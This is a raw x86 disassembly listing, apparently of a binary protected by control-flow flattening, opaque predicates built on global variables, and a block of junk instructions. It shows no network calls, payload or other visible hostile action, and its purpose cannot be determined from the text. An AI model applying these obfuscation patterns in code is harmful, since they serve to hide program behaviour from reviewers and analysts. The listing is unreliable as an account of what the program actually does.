mov edx, ecx
and edx, 0x40000008
or ecx, 0x505000a0
or esi, edx
and ecx, 0xdc5e51e0
mov edx, esi
xor edx, 0x23210c10
xor esi, 0xcc0e5140
or eax, ecx
and esi, 0xdc5e51e0
and edx, 0x23210c18
or edx, esi
mov esi, 0xe3f8c73e
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xadfcaa86
and ecx, 0x52035579
or eax, ecx
mov ecx, eax
xor ecx, 0x8a80861a
xor eax, 0x217259c1
mov edx, eax
and edx, 0x740d71a4
and ecx, 0x8bf28e5b
or ecx, edx
xor ecx, 0x8bf28e5b
or ecx, eax
xor ecx, 0xffffffff
setne cl
sete al
cmp dword [0x482580], 0xa
mov dh, cl
setl ah
setge ch
mov dl, ah
and dh, ch
xor cl, ch
and dl, al
and cl, al
xor al, ah
or dl, dh
and al, ah
xor dl, 1
or al, cl
or dl, ch
mov ecx, eax
xor dl, 1
or al, dl
xor cl, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xc18b0de7
cmovne eax, esi
test cl, 1
mov ecx, 0xc18b0de7
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0xac]
mov eax, 0x153df7ae
jmp 0x401d70
mov eax, dword [0x482584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
or esi, 1
mov eax, ecx
mov edi, ecx
or eax, 0x944e2b20
and esi, 0x944e2b21
and edi, 0x6bb1d4de
and ecx, 0x7ac4f9a8
or edi, esi
and eax, 0x944e2b21
xor eax, edi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0x853b0657
and edi, 0x853b0657
and esi, 0x7ac4f9a8
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0xe3f8c73e
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf080be17
and ecx, 0xf7f41e8
or eax, ecx
cmp eax, 0xf080be17
setne al
cmp dword [0x482580], 0xa
setge dl
mov ah, dl
mov ecx, edx
inc ah
or cl, al
and ah, al
inc al
and al, dl
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
mov ch, ah
xor ah, cl
and dl, al
xor ch, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor dl, 1
and dl, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x978ebf43
cmovne ecx, esi
test al, al
mov eax, 0x978ebf43
jmp 0x40cd04
mov eax, 0xcaef5581
jmp 0x401d70
mov eax, 0x8bfab40c
jmp 0x401d70
mov eax, dword [ebp - 0x1c8]
mov ecx, 0x5350eadf
cmp eax, 0xc
mov eax, 0xb23f5291
cmove eax, ecx
jmp 0x401d70
mov eax, 0x6a3fc371
jmp 0x401d70
mov eax, dword [0x482584]
mov esi, 0x92b3bfa5
mov edi, 0x78c1eb34
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x2edacdac
and ecx, 0xd1253253
or edx, ecx
xor edx, 0x2edacdac
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x28624d5c
and eax, 0xd79db2a3
or ecx, eax
xor ecx, 0x28624d5c
or edx, ecx
mov eax, edx
not eax
and edx, 0xac66f7f3
and eax, 0x5399080c
or edx, eax
xor edx, 0x5399080c
setne dl
sete al
cmp dword [0x482580], 0xa
setge ah
setl ch
mov dh, ah
xor dl, ch
xor dh, al
xor al, ch
and dh, ah
mov ecx, eax
xor dh, 1
xor cl, 1
mov ah, dh
xor ah, dl
or dl, dh
xor dl, 1
or dl, ah
mov ah, dl
mov ch, dl
xor ah, 1
and ah, dl
xor ah, 1
xor ch, ah
or ah, dl
xor ah, 1
or ah, ch
mov dl, ah
and ah, cl
xor dl, 1
or cl, dl
and dl, al
or dl, ah
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0x78c1eb34
cmovne edx, esi
test cl, 1
cmovne edx, edi
test al, 1
cmove edx, esi
mov eax, edx
jmp 0x401d70
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x1c0], eax
mov eax, 0xd4c67688
jmp 0x401d70
mov ecx, dword [0x482584]
mov edi, 0x30397ba8
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x15d2420
mov ecx, edx
and ecx, 0x2a80004a
and edx, 0x7866ecb7
or esi, ecx
mov ecx, eax
xor ecx, 0x2bdd246a
and ecx, eax
xor esi, 0x15d2420
and eax, 0x87991348
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x2d99dae3
mov edx, eax
xor eax, 0x7866ecb7
xor edx, 0x87991348
and esi, 0xd266251c
or ecx, esi
mov esi, ecx
xor esi, 0x644fe88
xor ecx, 0xf9bb0177
and eax, esi
and edx, ecx
mov esi, 0xef620bd2
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dh
sete dl
cmp dword [0x482580], 0xa
setge al
setl ch
mov ah, al
mov cl, al
and ch, dh
xor ah, dl
or cl, dl
mov bl, ah
and ah, al
and al, dl
xor cl, 1
not bl
or al, ch
and bl, dl
or al, ah
mov edx, 0x30397ba8
or cl, bl
xor al, cl
cmovne edx, esi
test al, cl
cmovne edx, edi
test al, al
cmovne edi, edx
test al, cl
cmove edi, edx
mov eax, edi
jmp 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc41e850
mov edx, ecx
and edx, 0x10080105
mov edi, ecx
or edi, 0x8404840
and ecx, 0xbcca21a2
or edx, esi
or esi, 0x218004aa
and edi, 0x29c04cea
xor edx, 0x401a010
and esi, 0x29c04cea
and edx, 0x1409a115
or edx, esi
mov esi, eax
and esi, 0xc2361200
and eax, 0x4335de5d
or esi, edi
or eax, ecx
mov edi, 0xba9bfa10
xor esi, edx
xor eax, 0x4335de5d
mov edx, esi
not edx
and esi, 0x1c49e954
and edx, 0xe3b616ab
or esi, edx
not esi
or eax, esi
mov esi, 0xe798b582
mov ecx, eax
not ecx
and eax, 0xc9bb7f6f
and ecx, 0x36448090
or eax, ecx
xor eax, 0xc9bb7f6f
sete ch
setne ah
cmp dword [0x482580], 0xa
mov cl, ch
setge dl
setl al
xor cl, al
and ch, dl
and al, ah
or al, ch
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor al, 1
or dl, ch
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, cl
mov edx, eax
xor ah, al
and al, cl
and ah, cl
xor cl, 1
not dl
and dl, cl
mov cl, ah
or al, dl
mov edx, 0xba9bfa10
xor cl, al
test al, al
cmovne edx, esi
test ah, ah
cmove edx, edi
test cl, cl
cmovne edx, esi
mov eax, edx
jmp 0x401d70
not ebx
rcl ebx, 0xd3
bswap esi
inc edi
ror ebx, 0x17
neg edx
bswap esi
not ebx
bswap eax
rcr ebx, 0x5e
not eax
not eax
not eax
bswap eax
bswap edx
sub ebx, 0x1f
neg ebx
neg ebx
not edx
sbb edi, 0x24
and esi, 0xca
sub eax, 0xd6
ror ebx, 0x8f
or edx, 0xf8
or edx, 0x3f
rcr edx, 0xa6
neg edi
rcr esi, 0xa1
sub esi, 0x48
neg edi
bswap ebx
imul edx
inc ebx
inc eax
inc edi
mov esi, 0xc
neg esi
mov esi, 0x8d
or esi, 0x89
dec eax
bswap edx
dec ebx
add edx, 0x95
neg edx
rcr edx, 0x82
not edi
inc edi
dec edi
mov esi, 0xc1
rol ebx, 0xdf
sub ebx, 0x70
bswap edi
not eax
imul edi
sbb esi, 0xa7
rcr esi, 0xe9
dec esi
dec esi
bswap eax
mov esi, 0xfd
dec eax
neg edi
mov edi, 0xb9
mov edi, 0xfc
imul edi
rcr esi, 0x61
imul edx
dec esi
and edx, 0x99
mov esi, 0xdd
neg ebx
ror edi, 0xf1
imul edx
sbb edi, 0x77
not esi
imul edx
not edx
rcl ebx, 0xd
rcr edx, 0x50
neg eax
not eax
sbb eax, 0xcc
ror ebx, 0xe4
rcl edx, 0x90
add eax, 0x9c
ror ebx, 0x9b
inc esi
mov ebx, 0xe1
rol edi, 0xed
neg edx
not edi
neg edx
inc ebx
imul edi
not eax
bswap eax
mov ebx, 0x35
dec ebx
not eax
inc eax
add eax, 0x25
not ebx
rcr edx, 0xb5
ror edx, 0xf5
rcr esi, 0x4c
sbb esi, 0x41
rol esi, 0x82
rcl esi, 0x21
sub ebx, 0x58
rcr esi, 0xa0
neg edx
ror ebx, 0x1e
mov edi, 0x4d
neg eax
inc edi
sbb eax, 0xa1
and eax, 0x10
rcr edx, 0x64
inc edi
mov esi, 0xca
add ebx, 0xe4
mov ebx, 0x25
not ebx
imul ebx
inc ebx
bswap esi
inc edi
rcl eax, 0x3c
not edi
and edx, 0xd
and esi, 0x90
mov edi, 0x64
mov eax, 0x5a
rcr edi, 0
neg edx
dec edx
rcr eax, 0x27
sub esi, 0x2e
dec eax
inc eax
mov eax, 0xcb
dec eax
sub edi, 0xa7
neg edx
not eax
dec esi
inc edi
and esi, 0x3c
mov ebx, 0x8d
mov eax, 0xa2
mov dword [ebp - 0x1cc], eax
mov eax, 0x72d7931c
jmp 0x401d70
mov eax, 0xb6c0a782
jmp 0x401d70
mov eax, dword [ebp - 0x1b8]
mov ecx, 0xfdf77ba0
cmp dword [eax], 0
mov eax, 0xb6be641d
cmove eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0x20]
mov eax, 0xd781b7a3
jmp 0x401d70
mov eax, 0xb59607d8
jmp 0x401d70
mov eax, dword [ebp - 0x64]
mov eax, dword [0x482584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xb73d22de
mov eax, edx
and eax, 0x2901466e
and ecx, edx
not edx
and edx, 0xd6feb991
mov edi, ecx
not edi
and ecx, 0x94eed91c
or eax, edx
mov edx, eax
xor eax, 0x963c2090
xor edx, 0xc
or eax, 0x48c2dd21
and edx, 0x942c001c
mov esi, eax
or eax, edi
and esi, 0x6b1126e3
and edi, 0x6b1126e3
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3216994d
and ecx, 0xcde966b2
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x7ad4446c
xor ecx, 0x852bbb93
xor edx, 0x852bbb92
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd4916157
and eax, 0x2b6e9ea8
or eax, ecx
mov ecx, eax
xor ecx, 0x23068c20
xor eax, 0xc0004144
and eax, 0xc86853cc
and ecx, 0x3797ac33
or ecx, eax
xor ecx, 0x3797ac33
setne cl
sete dl
cmp dword [0x482580], 0xa
setl al
setge ah
and cl, al
or al, dl
and ah, dl
or cl, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov ch, dl
mov eax, 0xe50b74a8
xor ch, cl
test dl, dl
mov edx, 0x9645fe41
cmovne eax, edx
test cl, cl
not ch
cmovne eax, edx
test ch, 1
mov edx, 0xe50b74a8
cmove eax, edx
jmp 0x401d70
mov eax, dword [ebp - 0x8c]
mov eax, 0x5cc9114c
jmp 0x401d70
mov eax, 0xda77728a
jmp 0x401d70
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x18]
mov eax, 0xe9dc400b
jmp 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
andn eax, ecx, ecx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0xfe900f16
mov esi, eax
not esi
and edx, 0x16ff0e9
and eax, 0x16ff0e9
or ecx, esi
and esi, 0xfe900f16
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x103080
mov esi, eax
mov edi, eax
or esi, 0x72430a32
and edx, 0x72533ab2
and edi, 0x8424854d
or eax, 1
or edi, edx
mov edx, ecx
and esi, 0x72533ab2
and edx, 0x9884000
and ecx, 0x9c995d0c
and eax, 0x6366a2f3
or edx, esi
or eax, ecx
xor edx, edi
xor eax, 0x6366a2f3
mov edi, 0x1df6b09a
mov esi, edx
not esi
and edx, 0x1125d212
and esi, 0xeeda2ded
or edx, esi
xor edx, 0xe7425d6c
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xbd6fa7bf
and edx, 0x42905840
or edx, esi
mov esi, ecx
not esi
and ecx, 0x42905840
or eax, esi
and esi, 0xbd6fa7bf
or ecx, esi
not eax
mov esi, 0x87f74fa7
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb9e9ce1c
and ecx, 0x461631e3
or ecx, eax
xor ecx, 0x461631e3
setne cl
sete ah
cmp dword [0x482580], 0xa
setl ch
setge al
mov dl, ch
and cl, ch
or ch, ah
and al, ah
xor dl, ah
or al, cl
xor ch, 1
mov ah, dl
or al, ch
xor ah, 1
mov cl, ah
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, al
mov eax, 0x1df6b09a
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x401d70
mov eax, dword [ebp - 0x10c]
mov edi, 0x94dbcedc
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, eax
not ecx
and eax, 0xe3f99e3c
and ecx, 0x1c0661c3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x290c6430
and ecx, 0xd6f39bcf
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xc8b03a00
xor ecx, 0x350a05f3
xor edx, 0x750a05f3
and edx, ecx
and eax, 0xc9b83ec1
and ecx, 0x3647c13e
or ecx, eax
xor ecx, 0x7647c13e
or ecx, edx
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x3845cdfc
and ecx, 0xc7ba3203
or edx, ecx
xor edx, 0x3845cdfc
or eax, edx
mov ecx, eax
not ecx
and eax, 0xd64e685d
mov edx, ecx
and edx, 0x29b197a2
or eax, edx
xor eax, 0x29b197a2
xor ecx, eax
test ecx, eax
mov eax, dword [0x482584]
setne byte [ebp - 0x79]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x2d776e53
and edx, 0xd28891ac
or eax, edx
mov edx, eax
xor edx, 0x25132211
xor eax, 0xd28891ac
mov esi, eax
and esi, 0x18644cc2
and edx, 0xe79bb33d
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe79bb33d
or eax, esi
and esi, 0x18644cc2
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0x804aa79d
mov ecx, eax
and ecx, 0xf0543eb1
and edx, eax
not eax
and eax, 0xfabc14e
or ecx, eax
mov eax, ecx
mov esi, ecx
xor eax, 0xf0543eb1
xor esi, 0x8fe166d3
xor ecx, 0x22a410c
and esi, eax
and ecx, 0xb22a431c
and eax, 0x4dd5bce2
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x804aa79c
xor eax, 0x4dd5bce2
and esi, 0x7fb55863
or edx, esi
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x42422a42
and eax, 0x20000401
mov edx, ecx
and edx, 0x98b91124
or ecx, 0xd0703b40
or esi, edx
and ecx, 0xd574fbd8
mov edx, esi
xor edx, 0x2020002
xor esi, 0x9534d198
or eax, ecx
and esi, 0xd574fbd8
and edx, 0xa8b0026
or edx, esi
mov esi, 0x31f842ac
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xa6232de3
and ecx, 0x59dcd21c
or eax, ecx
mov ecx, eax
xor ecx, 0x40080485
xor eax, 0x208062
and eax, 0x3cf09262
and ecx, 0xc30f6d9d
or ecx, eax
xor ecx, 0x3cf09262
setne dl
sete ah
cmp dword [0x482580], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
mov edx, ecx
xor cl, al
xor al, 1
xor dl, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x94dbcedc
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
jmp 0x40bb09
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x120], eax
mov eax, 0x5e124876
jmp 0x401d70
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [0x482584]
add eax, 4
mov dword [ebp - 0x170], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0xfb775b01
and edi, 0x488a4fe
and edx, 0xef9a84e8
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x10657b17
mov ebx, esi
not ebx
and esi, 0x488a4fe
or eax, edx
or ecx, ebx
and ebx, 0xfb775b01
xor eax, 0x10657b17
or esi, ebx
not ecx
xor esi, edi
mov edi, 0xaa683b44
or ecx, esi
mov esi, 0x4e338585
not ecx
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x482580], 0xa
setl dl
setge ah
or dl, cl
or al, ah
or ah, cl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
and al, ah
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
and cl, ah
and dl, ah
or cl, al
mov eax, 0xaa683b44
mov ch, dl
xor ch, cl
test cl, cl
cmovne eax, esi
test dl, dl
cmove eax, edi
test ch, ch
cmovne eax, esi
jmp 0x401d70
mov eax, dword [ebp - 0x50]
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 0x18c2bad8
mov edi, eax
mov esi, edx
and esi, 0x952712fc
and edi, 0x62184503
and eax, 0xa0b30a9e
or edi, esi
mov esi, ecx
xor esi, 0xe73d4527
and esi, ecx
and ecx, 0x5f4cf561
mov ebx, esi
not ebx
and esi, 0x6ad8ed03
or eax, ecx
or edx, ebx
and ebx, 0x952712fc
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xe73d4526
and esi, 0x18c2bad9
or edx, esi
mov esi, edx
not esi
and edx, 0xa0b30a9e
mov edi, esi
and edi, 0x5f4cf561
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x252d1b12
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x482580], 0xa
setl ah
setge ch
or ch, dl
mov cl, ah
or dl, ah
or cl, al
xor al, ah
mov ah, dl
xor ch, 1
xor cl, 1
xor ah, al
or al, dl
xor al, 1
or cl, ch
or al, ah
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x877cb596
cmovne eax, esi
test dl, dl
mov edx, 0x877cb596
jmp 0x40c13c
mov eax, dword [ebp - 0x138]
movzx eax, word [eax]
add eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov eax, 0xee93a679
jmp 0x401d70
mov dword [ebp - 0xe8], 0
mov eax, 0xda90c280
jmp 0x401d70
mov eax, 0x302628ba
jmp 0x401d70
mov eax, dword [ebp - 0x164]
add eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, 0x927941be
jmp 0x401d70
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xc0]
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x9e0f284d
mov esi, edx
and esi, 0x61f0d7b2
and edx, 0x9b8fc61
or eax, esi
mov esi, eax
xor eax, 0x21d051a0
xor esi, 0x4000804
or eax, 0x4224a653
and esi, 0x4401924
mov edi, eax
and edi, 0xbbbfc688
or esi, edi
mov edi, ecx
xor edi, 0xbddb59ac
and edi, ecx
and ecx, 0xf647039e
mov ebx, edi
not ebx
and edi, 0x44403977
or ecx, edx
or eax, ebx
and ebx, 0xbbbfc688
or edi, ebx
not eax
xor edi, esi
or eax, edi
not edi
and edi, 0x4224a652
and eax, 0xbddb59ad
or eax, edi
mov esi, eax
not esi
and eax, 0xee0e1e2b
and esi, 0x11f1e1d4
or eax, esi
mov esi, eax
xor esi, 0xe0c1a21
xor eax, 0x11f1e1d4
mov edx, eax
and edx, 0xe012054e
and esi, 0x1fedfab1
or esi, edx
mov edx, ecx
xor edx, 0x16450290
xor ecx, 0x9b8fc61
or eax, ecx
and ecx, 0xe012054e
and edx, 0x1fedfab1
or edx, ecx
not eax
xor edx, esi
mov esi, 0x9b6a8a77
or eax, edx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x482580], 0xa
mov ch, cl
setge al
setl ah
mov dh, al
xor ch, al
mov ebx, eax
and ah, cl
xor dh, dl
or bl, dl
and ch, dl
and dh, al
and al, dl
xor bl, 1
or al, ah
xor dh, 1
or bl, ch
xor al, 1
mov dl, dh
xor dl, al
or al, dh
xor al, 1
or al, dl
mov edx, eax
xor dl, bl
xor bl, 1
or bl, al
mov eax, edx
xor al, bl
test dl, 1
mov edx, 0x4d113dee
cmovne edx, esi
test bl, 1
not al
cmovne edx, esi
test al, 1
mov eax, 0x4d113dee
cmove edx, eax
mov eax, edx
jmp 0x401d70
mov eax, 0x5941f40
jmp 0x401d70
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x128], eax
mov eax, 0xfd28d97b
jmp 0x401d70
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
inc eax
mov dword [ecx], eax
mov eax, 0x6088a57a
jmp 0x401d70
mov eax, dword [ebp - 0x50]
mov dword [eax], 0x20
mov eax, 0xbdbc2126
jmp 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
and ecx, 0xa6a6ccdd
and esi, 0x59593322
or esi, ecx
mov edx, esi
mov eax, esi
xor eax, 0x59593322
xor esi, 0x6741eb46
xor edx, 0xa6a6ccdd
and esi, eax
mov ebx, edx
and ebx, 0x3a004840
and edx, 0x9e0003c3
mov ecx, esi
not ecx
and esi, 0x3ac16dc0
mov edi, ecx
and edi, 0xc53e923f
or esi, edi
mov edi, eax
or edi, 0xc1e7279b
or ecx, edi
and edi, 0xc53e923f
or ebx, edi
not ecx
xor ebx, esi
or ecx, ebx
mov esi, ecx
not esi
and ecx, 0xf8d659fe
and esi, 0x729a601
or ecx, esi
mov esi, eax
and esi, 0x61fffc3c
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x90000300
xor esi, 0x4156b01c
or eax, edx
mov edx, ecx
xor edx, 0x21216864
and esi, 0x4f56b0de
xor ecx, 0xc6ce819b
and eax, 0xb0a94f21
and edx, 0xe7e36867
or eax, esi
mov esi, ecx
and esi, 0x181c9798
or edx, esi
mov esi, eax
xor esi, 0xa0a14821
xor eax, 0x4f56b0de
or ecx, eax
and eax, 0x181c9798
and esi, 0xe7e36867
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x1d0ae1af
cmp ecx, 0xffffffff
setne al
cmp dword [0x482580], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
and al, dl
mov dl, ah
xor al, 1
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
or dl, al
and ah, cl
mov ecx, 0x1d0ae1af
mov al, dl
xor al, ah
test dl, dl
mov edx, 0x5cb3c248
cmovne ecx, edx
test ah, ah
cmove ecx, esi
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
add eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xcc]
mov dword [ecx], eax
mov eax, dword [0x482584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xe03781f5
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x1fc87e0a
and eax, 0xe03781f5
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x714a793b
mov esi, ecx
and esi, 0x8eb586c4
or edx, esi
mov esi, eax
not esi
and eax, 0x714a793b
or ecx, esi
and esi, 0x8eb586c4
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0xdc877ef8
and ecx, 0x23788107
or eax, ecx
mov ecx, eax
xor ecx, 0x4024668
xor eax, 0x23788107
mov esi, eax
and esi, 0xd9bdb995
and ecx, 0x2642466a
or ecx, esi
mov esi, edx
not esi
and edx, 0x2642466a
or eax, esi
and esi, 0xd9bdb995
or edx, esi
not eax
mov esi, 0x70688cf8
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x35686c4f
and ecx, 0xca9793b0
or eax, ecx
mov ecx, eax
xor ecx, 0x2040
xor eax, 0x40169090
and eax, 0x757edc9f
and ecx, 0x8a812360
or ecx, eax
mov eax, ecx
xor eax, 0x50520099
xor ecx, 0x88800260
and ecx, 0xadacde66
and eax, 0x52532199
or eax, ecx
xor eax, 0x52532199
sete al
setne dl
cmp dword [0x482580], 0xa
setge cl
setl ah
mov ch, cl
and al, cl
and ah, dl
or ch, dl
or al, ah
mov edx, eax
mov cl, ch
and al, ch
not cl
xor dl, 1
and cl, dl
or dl, ch
or cl, al
mov eax, edx
xor al, cl
mov eax, 0x3fc7d5d6
cmovne esi, eax
test dl, dl
mov eax, 0x70688cf8
cmovne eax, esi
test cl, cl
cmove eax, esi
jmp 0x401d70
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, 0xfb444412
jmp 0x401d70
mov eax, 0x1a29f120
jmp 0x401d70
cmp byte [ebp - 0x79], 0
mov eax, 0x3a879465
mov ecx, 0x9f5f79f5
cmovne eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0x68]
cmp dword [eax], 0
mov eax, dword [0x482584]
lea edx, [eax + 1]
setne byte [ebp - 0x78]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x3b952618
and ecx, 0xc46ad9e7
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0x12940208
xor esi, 0xc46ad9e7
xor ecx, 0x21902008
mov eax, esi
or eax, 1
and esi, 0x6d03b4b7
and edx, 0x92fc4b48
and ecx, 0xe598f1e8
or edx, esi
mov esi, eax
and esi, 0x1a670e17
or ecx, esi
mov esi, edx
xor esi, 0x80984148
xor edx, 0x6d03b4b6
or eax, edx
and edx, 0x1a670e17
and esi, 0xe598f1e8
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x1d0ae1af
mov ecx, eax
not ecx
and eax, 0xb62a514c
and ecx, 0x49d5aeb3
or eax, ecx
mov ecx, eax
xor ecx, 0x9602014c
xor eax, 0x41c4a4a2
and eax, 0x61ecf4a2
and ecx, 0x9e130b5d
or ecx, eax
mov eax, ecx
xor eax, 0x600894a0
xor ecx, 0x9c110910
and eax, 0x620a96ed
and ecx, 0x9df56912
or ecx, eax
xor ecx, 0x9df56912
sete dl
setne ch
cmp dword [0x482580], 0xa
setge cl
setl al
and dl, cl
or cl, ch
and al, ch
mov ah, cl
or al, dl
xor ah, 1
mov ch, al
mov edx, eax
mov dh, ah
xor ch, 1
and dh, cl
and dl, ch
xor dh, 1
xor dl, 1
or dh, cl
or dl, ch
xor ch, cl
xor dh, 1
xor dl, 1
or dh, ah
or dl, al
or al, ah
mov bl, dh
xor al, 1
xor bl, 1
or al, ch
and bl, dl
xor dl, 1
mov ecx, eax
and dl, dh
or dl, bl
xor cl, dl
test cl, 1
mov ecx, 0x8f51b99e
cmovne ecx, esi
test al, al
mov eax, 0x8f51b99e
jmp 0x401d59
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x194]
mov dword [eax], ecx
mov eax, 0xe2488beb
jmp 0x401d70
cmp dword [ebp - 0x108], 0
mov ecx, dword [0x482584]
mov edi, 0x4adb3fd9
lea eax, [ecx + 1]
setne byte [ebp - 0x77]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xc802
mov ecx, edx
and ecx, 0x85212001
and edx, 0xde3846a3
or esi, ecx
mov ecx, eax
xor ecx, 0x8521e803
and ecx, eax
xor esi, 0xc802
and eax, 0x21c7b95c
